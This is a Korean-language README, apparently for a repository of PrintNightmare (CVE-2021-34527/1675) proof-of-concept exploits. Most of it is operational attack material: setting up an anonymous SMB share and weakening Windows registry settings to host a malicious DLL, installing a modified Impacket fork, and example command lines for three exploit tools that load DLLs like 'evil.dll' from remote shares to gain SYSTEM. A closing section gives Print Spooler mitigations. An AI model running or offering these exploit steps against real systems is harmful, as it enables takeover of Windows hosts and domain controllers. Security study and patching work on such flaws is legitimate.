
PrintNightmare - Windows 인쇄 스풀러 RCE/LPE 취약점 (CVE-2021-34527, CVE-2021-1675) 개념 증명 익스플로잇
이것은 인증된 원격 사용자가 인쇄 스풀러 서비스를 실행하는 Windows 시스템에서 SYSTEM 수준 권한을 획득하는 데 사용할 수 있는 원격 코드 실행 취약점입니다. 공격자는 이 접근 권한을 사용하여 새 계정을 만들거나, 프로그램을 설치하거나, 데이터를 보거나 변경하거나 삭제하거나, 모든 사용자 권한을 가진 새 계정을 만들 수 있습니다.
이 취약점은 Windows 시스템의 인쇄 스풀러 서비스 spoolsv.exe의 권한 부여 우회 버그로 인해 발생하며, 인증된 원격 사용자가 RPC 호출 RpcAddPrinterDriver를 사용하여 원격 위치에 있는 드라이버 파일을 지정하여 프린터 드라이버를 설치할 수 있게 합니다. 악의적인 사용자가 이를 악용하면 프린터 드라이버 설치의 일환으로 악성 DLL을 주입하여 이 서비스를 실행하는 Windows 시스템에서 SYSTEM 수준 권한을 획득할 수 있습니다.
Microsoft가 CVE-2021-1675에 대한 업데이트를 출시했지만, 이 업데이트는 NoWarningNoElevationOnInstall 옵션이 구성된 Point and Print를 사용하는 Active Directory 도메인 컨트롤러나 Windows 시스템을 보호하지 않습니다.
이 저장소에는 세 가지 PoC 익스플로잇 구현이 있습니다:
RPC 서비스는 클라이언트 머신이 원격 서버가 다운로드할 프린터 드라이버의 위치를 제공할 수 있도록 허용하므로, 다음 예시 옵션을 사용하여 페이로드를 호스팅하고 익스플로잇 실행 시 경로를 제공할 수 있습니다:
Samba에서 게스트 액세스를 설정하려면 로그인할 것으로 가장할 사용자를 설정해야 합니다. 시스템에 smbuser 사용자가 있는지 확인하고, 그렇지 않으면 비밀번호 password로 생성하세요.
id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
/etc/samba/smb.conf를 편집하고 익명 액세스를 활성화하세요.
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
다음은 cube0x0이 제공한 지침을 약간 업데이트한 것입니다:
이는 cube0x0의 Printnightmare 익스플로잇을 Impacket으로 구현한 것입니다. 익스플로잇을 실행하기 전에 수정된 버전의 Impacket을 설치해야 합니다:
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
이 취약점에 대한 익스플로잇 코드는 Python 3을 사용하여 실행해야 합니다.
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675/34527 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
SharpPrintNightmare/ 디렉터리에는 로컬 권한 상승(LPE)(CVE-2021-1675) 및 원격 코드 실행(RCE)을 위한 Printnightmare 익스플로잇의 C# 구현이 포함되어 있습니다. RCE 기능은 익스플로잇을 실행하는 머신에서 로컬 관리자 권한으로 실행되어야 합니다.
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password
.\PrintNightmare.exe dc_ip path_to_exp user_name password
Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##
다음을 실행하세요:
Get-Service -Name Spooler
인쇄 스풀러가 실행 중이거나 서비스가 비활성화로 설정되지 않은 경우, 다음 옵션 중 하나를 선택하여 인쇄 스풀러 서비스를 비활성화하거나 그룹 정책을 통해 인바운드 원격 인쇄를 비활성화하세요:
인쇄 스풀러 서비스 비활성화가 기업에 적합한 경우, 다음 PowerShell 명령을 사용하세요( Microsoft 권장 사항):
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
또는 레지스트리를 사용하여 스풀러 서비스 비활성화
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
또는 Print-Services 제거
Uninstall-WindowsFeature Print-Services
이렇게 하면 로컬 및 원격 인쇄 기능이 모두 비활성화됩니다.
다음과 같이 그룹 정책을 통해 설정을 구성할 수도 있습니다:
Computer Configuration / Administrative Templates / Printers
원격 공격을 차단하려면 “Allow Print Spooler to accept client connections:” 정책을 비활성화하세요.
이 정책은 인바운드 원격 인쇄 작업을 차단하여 원격 공격 벡터를 차단합니다. 시스템은 더 이상 프린트 서버로 작동하지 않지만, 직접 연결된 장치로의 로컬 인쇄는 계속 가능합니다.
자세한 내용은 다음을 참조하세요: 그룹 정책 설정을 사용하여 프린터 제어.